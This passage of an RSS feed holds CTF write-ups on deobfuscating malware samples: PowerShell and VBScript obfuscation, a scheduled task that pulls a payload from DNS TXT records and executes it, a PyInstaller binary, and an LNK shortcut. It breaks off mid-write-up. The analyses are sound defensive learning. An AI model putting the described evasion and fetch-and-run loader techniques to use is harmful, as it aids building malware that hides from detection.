        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/malware-eco-friendly/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/malware-eco-friendly/</guid>
        <description>&lt;h1 id=&#34;eco-friendly&#34;&gt;Eco-Friendly
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: @JohnHammond&lt;/p&gt;
&lt;p&gt;This sample is good for the environment!&lt;/p&gt;
&lt;p&gt;Attachment: &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/eco-friendly/eco_friendly&#34; &gt;eco_friendly&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;For this challenge, we are given a powershell script, or I should say, one very long line of powershell. Opening the given file we can see an iex (Invoke-Expression) cmdlet that will execute whatever command follows it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/eco-friendly/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;first half&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;But the argument for the cmdlet seems to a string with random numbers in curly braces. If we scroll down for some time, we can find the end of the string with a option &lt;code&gt;-f&lt;/code&gt; which is used to format strings in powershell.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/eco-friendly/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;second half&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;What follows the &lt;code&gt;-f&lt;/code&gt; is lots of environment variables with an index number. Which means the script uses, fixed environment variables that is uniform across all Windows machine to construct the payload from the individual characters indexed from said environment variables. The random numbers in curly braces are just positional parameters. This type of technique is used to evade detection from anti-malware solutions which may scan for suspicious keywords.&lt;/p&gt;
&lt;p&gt;Now that we know this, we can just replace the &lt;code&gt;iex&lt;/code&gt; at the starting with a &lt;code&gt;Write-Host&lt;/code&gt; cmdlet to write whatever the string will be constructed to rather than executing it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/eco-friendly/3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;payload&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Doing that, saving it to &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/eco-friendly/payload.ps1&#34; &gt;payload.ps1&lt;/a&gt; and executing the script, reveals another level of obfuscation with the same technique. So putting that in file &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/eco-friendly/stage1&#34; &gt;stage1&lt;/a&gt; and modifying the &lt;code&gt;iex&lt;/code&gt;  to &lt;code&gt;Write-Host&lt;/code&gt; in &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/eco-friendly/stage1_modified.ps1&#34; &gt;stage1_modified.ps1&lt;/a&gt; and executing again leads to another level of same obfuscation. Repeating the same with &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/eco-friendly/stage2&#34; &gt;stage2&lt;/a&gt; and &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/eco-friendly/stage2_modified.ps1&#34; &gt;stage2_modified.ps1&lt;/a&gt; leads to another level of obfuscation. Doing it again with &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/eco-friendly/stage3&#34; &gt;stage3&lt;/a&gt; and &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/eco-friendly/stage3_modified.ps1&#34; &gt;stage3_modified.ps1&lt;/a&gt; finally gave away the flag as a comment.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/eco-friendly/4.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;flag&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;I should have anticipated nested levels of obfuscation and written a script to get the process done, but still unsure of what it might hold, I did it manually. But got the flag at the end.&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Malware - Palimpsest</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/malware-palimpsest/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/malware-palimpsest/</guid>
        <description>&lt;h1 id=&#34;palimpsest&#34;&gt;Palimpsest
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: Adam Rice (@adam.huntress)&lt;/p&gt;
&lt;p&gt;Our IT department was setting up a new workstation and started encountering some strange errors while installing software.&lt;/p&gt;
&lt;p&gt;The technician noticed a strange scheduled task and luckily backed it up and grabbed some log files before wiping the machine!&lt;/p&gt;
&lt;p&gt;Can you figure out what&amp;rsquo;s going on?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;We&amp;rsquo;ve included the exported scheduled task and log files below.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The archive password is &lt;code&gt;infected-palimpsest&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Attachment: &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/palimpsest/Challenge.zip&#34; &gt;Challenge.zip&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;The attachment archive contains 3 event viewer logs (Application, Security and System) and a &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/palimpsest/Updater%20Service.xml&#34; &gt;Updater Service.xml&lt;/a&gt;. I first opened the XML file, which is the scheduled task that the challenge description tells about.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/palimpsest/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;xml file&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;While most of the contents of the XML file is pretty much what you&amp;rsquo;d find in most scheduled tasks, I was more interested in the actions of the task. As we can see, it is a powershell line, that collects the DNS TXT records from the site &lt;code&gt;5aa456e4dbed10b.pyrchdata.com&lt;/code&gt;, base64 decodes it, builds a string from it and executes it. So I queries the DNS TXT records myself to find out base64 data in it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/palimpsest/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;base64 txt&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Putting the contents in &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/palimpsest/txt_records&#34; &gt;txt_records&lt;/a&gt; and decoding it, yields a powershell script with some obfuscation.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/palimpsest/3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;stage1&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;The first brackets reference the shell ID which I&amp;rsquo;m quite sure is constructing &lt;code&gt;iex&lt;/code&gt; cmdlet. Putting that in &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/palimpsest/stage1_payload.ps1&#34; &gt;stage1_payload.ps1&lt;/a&gt; and modifying the &lt;code&gt;iex&lt;/code&gt; with &lt;code&gt;Write-Host&lt;/code&gt; should give us the next part of the payload.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/palimpsest/4.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;stage2&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Doing that does indeed reveals the next part of the payload. Now we still have an obfuscated script. The first line now tries to get a variable that matches the pattern &lt;code&gt;*mdr*&lt;/code&gt; and constructs something. I was pretty sure that is also &lt;code&gt;iex&lt;/code&gt; as well, but to be sure, I checked. Repeating the same trick we move on to the next stage of payload.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/palimpsest/5.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;stage3&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Now this payload doesn&amp;rsquo;t have any base encoded strings, on the contrary &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/palimpsest/stage3_payload.ps1&#34; &gt;stage3_payload.ps1&lt;/a&gt; does something else. But I couldn&amp;rsquo;t fully read it because of the garbled format strings. I decided to clean it and substitute those strings to their result, I had &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/palimpsest/stage3_cleaned.ps1&#34; &gt;stage3_cleaned.ps1&lt;/a&gt; which was more readable.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/palimpsest/6.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;stage3 cleaned&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;We can now see clearly, that the payload gets the application event log with source as &lt;code&gt;mslnstaller&lt;/code&gt; (notice the typosquatting) and filters events with InstanceID within 40000 - 65000, extracts &amp;ldquo;data&amp;rdquo; from those logs and writes it to the a file named &lt;code&gt;flag.mp4&lt;/code&gt; in the AppData folder.&lt;/p&gt;
&lt;p&gt;Now we have use for those event log files, opening Application.evtx in windows event viewer and filtering events between 40000 - 65000 with source as &lt;code&gt;mslnstaller&lt;/code&gt; we have exactly 100 such logs.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/palimpsest/7.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;event viewer logs&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Every record out of those 100 logs had a data node with some text and binary data. It is fair to assume that the binary data is what is being written to &lt;code&gt;flag.mp4&lt;/code&gt; all we have to do is extract it.&lt;/p&gt;
&lt;p&gt;Now I can write powershell scirpts to some level, I didn&amp;rsquo;t know how to extract fields from saved log files in it at the time of solving this challenge. So converted the .evtx files to .csv using &lt;a class=&#34;link&#34; href=&#34;https://github.com/josephatmwanzia/evtx2csv&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;this&lt;/a&gt; tool.&lt;/p&gt;
&lt;p&gt;Once I converted it, it was fairly easy for me to put a python script &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/palimpsest/extract_data.py&#34; &gt;extract_data.py&lt;/a&gt; together to extract the binary data and write to a file. The logic behind the script is simple. It opens the csv file and parses it using the &lt;code&gt;csv&lt;/code&gt; module and then checks each row for the condition required as in the powershell script. Then I used &lt;code&gt;unhexlify&lt;/code&gt; from &lt;code&gt;binascii&lt;/code&gt; module to convert the hex to actual binary data and wrote it to a file &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/palimpsest/from_evtx_data&#34; &gt;from_evtx_data&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Even though the powershell script tells us it is an mp4, I was still a little suspicious it might be something else. But when I ran &lt;code&gt;file&lt;/code&gt; utility on it, it revealed that it is indeed a MP4 video file. Opening it got me:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/palimpsest/8.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;free real estate&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So it says &amp;ldquo;It&amp;rsquo;s free real estate&amp;rdquo; and yeah the flag is there too. I tried using OCR to get the flag from the video, but it had a few mistakes which I had to correct it manually.&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Malware - Ping Me</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/malware-ping-me/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/malware-ping-me/</guid>
        <description>&lt;h1 id=&#34;ping-me&#34;&gt;Ping Me
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: @JohnHammond&lt;/p&gt;
&lt;p&gt;We found this file in the autoruns of a host that seemed to have a lot of network activity&amp;hellip; can you figure out what it was doing?&lt;/p&gt;
&lt;p&gt;Attachment: &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/ping-me/ping_me.vbs&#34; &gt;ping_me.vbs&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;For this challenge we are given a VBScript.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/ping-me/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;vbscript&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Now I am not familiar with VBScript, but looking at the script we can observe an &amp;ldquo;Execute&amp;rdquo; at the start and a long expression. So it is logical to conclude that the expression evaluates to something and the &amp;ldquo;Execute&amp;rdquo; will execute whatever the expression evaluates to.&lt;/p&gt;
&lt;p&gt;In order to know what it really does, we just need to replace &amp;ldquo;Execute&amp;rdquo; with some print statement from VBScript. So I opened &lt;a class=&#34;link&#34; href=&#34;https://www.onlinegdb.com/online_vb_compiler&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;onlinegdb&lt;/a&gt; and it already had boilerplate code to output something (Hello world). I just modified it to evaluate the expression and output it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/ping-me/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;onlinegdb&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Now we can see, that it indeed gets another script which should be VBScript as well. After adding some spaces and newline to it we have:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/ping-me/3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;ping script&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;This script seems to have a list of IP address and runs a ping command on all of them. Well that explains the part of challenge description that says &amp;ldquo;a lot of network activity&amp;rdquo;, but what now?&lt;/p&gt;
&lt;p&gt;The IP address may seem random to an untrained eye. But I recognized them not to be random. You see the each octect in the IP address is a valid ASCII character and most of them are in alphabet and number character ranges.&lt;/p&gt;
&lt;p&gt;So I copied the list of IP address, put them in a &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/ping-me/solve.py&#34; &gt;solve.py&lt;/a&gt; to process them and convert them to a valid string. The script just splits the octets put them in a list and uses &lt;code&gt;chr&lt;/code&gt; function to convert the octets to valid characters.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ips &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;102.108.97.103&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;123.54.100.49&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;98.54.48.52&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;98.98.49.98&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;54.100.97.51&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;50.98.56.98&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;98.99.97.57&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;101.50.54.100&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;53.49.53.56&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;57.125.35.35&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;chars &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; ip &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; ips:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    chars&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;extend(ip&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;split(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;.&amp;#34;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;flag &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;join([chr(int(i)) &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; chars])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print(flag&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;strip(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;#&amp;#34;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This script gave away the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/ping-me/4.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;flag&#34;
	
	
&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Malware - Revenge of the Discount Programming Devices</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/malware-revenge-of-the-discount-programming-devices/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/malware-revenge-of-the-discount-programming-devices/</guid>
        <description>&lt;h1 id=&#34;revenge-of-discount-programming-devices&#34;&gt;Revenge of Discount Programming Devices
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: @sudo_Rem&lt;/p&gt;
&lt;p&gt;One of our security analysts learned to avoid printing out flag when obfuscating code!&lt;/p&gt;
&lt;p&gt;Unfortunately, now they&amp;rsquo;ve lost that flag.&lt;/p&gt;
&lt;p&gt;Maybe you can help them get it back.&lt;/p&gt;
&lt;p&gt;Attachment: &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/revenge-of-the-discount-programming-devices/challenge&#34; &gt;challenge&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;In this challenge we are given a binary, an ELF binary to be specific. Running 	&lt;code&gt;strings&lt;/code&gt; utility on the binary among the entries we can find strong indicators (as shown below) that the binary has been compiled using &lt;a class=&#34;link&#34; href=&#34;https://pyinstaller.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;pyinstaller&lt;/a&gt;. This is a tool to convert python source code files to executable binaries.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/revenge-of-the-discount-programming-devices/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;pyinstaller indicators&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;There is this tool called &lt;a class=&#34;link&#34; href=&#34;https://github.com/extremecoders-re/pyinstxtractor&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;pyinstxtractor&lt;/a&gt; that can extract the contents of a binary that is compiled by pyinstaller.  Using that tool I was able to dump all the contents of the binary into a folder. Since it is a statically linked binary there were quite a few things that got extracted. But we are focused on the &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/revenge-of-the-discount-programming-devices/challenge.pyc&#34; &gt;challenge.pyc&lt;/a&gt;. This file contains the bytecode of the original file that was used to compile.&lt;/p&gt;
&lt;p&gt;We still need to convert the bytecode to actual source code before we can work on what it does. For that we can make use of another tool called &lt;a class=&#34;link&#34; href=&#34;https://github.com/zrax/pycdc&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;pycdc&lt;/a&gt;. Using the tool, I converted bytecode file &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/revenge-of-the-discount-programming-devices/challenge.pyc&#34; &gt;challenge.pyc&lt;/a&gt; to &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/revenge-of-the-discount-programming-devices/decompiled.py&#34; &gt;decompiled.py&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/revenge-of-the-discount-programming-devices/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;decompiled&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Now we have something to work on. On top of the code we can observe a lambda function that is assigned to a function pointer variable &lt;code&gt;_&lt;/code&gt; (underscore). It takes an argument which is &lt;code&gt;__&lt;/code&gt; (two underscores). The function reverses the data it gets, does a base64 decoding and uses the &lt;code&gt;zlib&lt;/code&gt; module to decompress the decoded contents. Then there is a &lt;code&gt;exec&lt;/code&gt; function that uses the function pointer &lt;code&gt;_&lt;/code&gt; and passes a very long string of data to it.&lt;/p&gt;
&lt;p&gt;Since the string was very long, I suspected multiple levels of same obfuscation. So I wrote a python script &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/revenge-of-the-discount-programming-devices/solve_stage1.py&#34; &gt;solve_stage1.py&lt;/a&gt; to run the data till there is a exec function in the code.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/revenge-of-the-discount-programming-devices/3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;decoded 1&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/revenge-of-the-discount-programming-devices/4.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;decoded 2&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;As we see, after 50 passes, we get a long list of numbers. But this list is commented out. At the end of the list there are 2 print statements out of which is one commented out. The first print statement simply joins the result of &lt;code&gt;chr&lt;/code&gt; function of each number in the list. The other prints out a string. I put this contents to &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/revenge-of-the-discount-programming-devices/stage2.py&#34; &gt;stage2.py&lt;/a&gt; and reversed the comments.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/revenge-of-the-discount-programming-devices/5.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;stage 2&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/revenge-of-the-discount-programming-devices/6.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;stage 2 end&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Since this provides us with another python script, I put that in &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/revenge-of-the-discount-programming-devices/stage3.py&#34; &gt;stage3.py&lt;/a&gt;, and cleaned the names of the variables. The variables were named with different number of underscores whose real names were declared at the start.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/revenge-of-the-discount-programming-devices/7.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;stage 2 cleaned&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;After cleaning them, the functionality was revealed to be just an XOR operation between the two long byte sequence and print the output.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/revenge-of-the-discount-programming-devices/8.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;stage 3&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Now we are once again facing the same function as the first round of payload. So I made a copy of &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/revenge-of-the-discount-programming-devices/solve_stage1.py&#34; &gt;solve_stage1.py&lt;/a&gt; as &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/revenge-of-the-discount-programming-devices/solve_stage4.py&#34; &gt;solve_stage4.py&lt;/a&gt; and swapped the argument payload.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/revenge-of-the-discount-programming-devices/9.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;final&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;And executing &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/revenge-of-the-discount-programming-devices/solve_stage4.py&#34; &gt;solve_stage4.py&lt;/a&gt; gave away the flag.&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Malware - Russian Roulette</title>
        <link>https://itsmonish.pages.dev/blog/huntress-ctf-2024/malware-russian-roulette/</link>
        <pubDate>Sat, 26 Apr 2025 17:51:33 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/huntress-ctf-2024/malware-russian-roulette/</guid>
        <description>&lt;h1 id=&#34;russian-roulette&#34;&gt;Russian Roulette
&lt;/h1&gt;&lt;h2 id=&#34;challenge-statement&#34;&gt;Challenge Statement
&lt;/h2&gt;&lt;p&gt;Author: @JohnHammond&lt;/p&gt;
&lt;p&gt;My PowerShell has been acting &lt;em&gt;really weird!!&lt;/em&gt; It takes a few seconds to start up, and sometimes it just crashes my computer!?!?! &lt;strong&gt;:(&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WARNING: Please examine this challenge inside of a virtual machine for your own security. Upon invocation there is a real possibility that your VM may crash.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NOTE: Archive password is &lt;code&gt;russian_roulette&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Attachment: &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/russian-roulette/russian_roulette.zip&#34; &gt;russian_roulette.zip&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;Extracting the archive outputs only a lnk file. &lt;a class=&#34;link&#34; href=&#34;https://fileinfo.com/extension/lnk&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;LNK&lt;/a&gt; files are basically shortcuts in windows. There are special files that open other files or execute commands. LNK files are a common threat vector as phishers can disguise anything as LNK file.&lt;/p&gt;
&lt;p&gt;For this challenge we have a &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/others/huntressctf-2024/russian-roulette/Windows%20PowerShell.lnk&#34; &gt;Windows PowerShell.lnk&lt;/a&gt;.  To see what it really opens we need a parser that can parse the LNK file contents. I found this tool called &lt;a class=&#34;link&#34; href=&#34;https://github.com/Matmaus/LnkParse3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;LnkParse3&lt;/a&gt; that could do what I want.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/huntressctf-2024/russian-roulette/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;target&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So the target of the shortcut is not a file but a powershell command. The &lt;code&gt;-e&lt;/code&gt; option allows encoded scripts or strings to execute. This is basically more powershell command but encoded in base64.&lt;/p&gt;
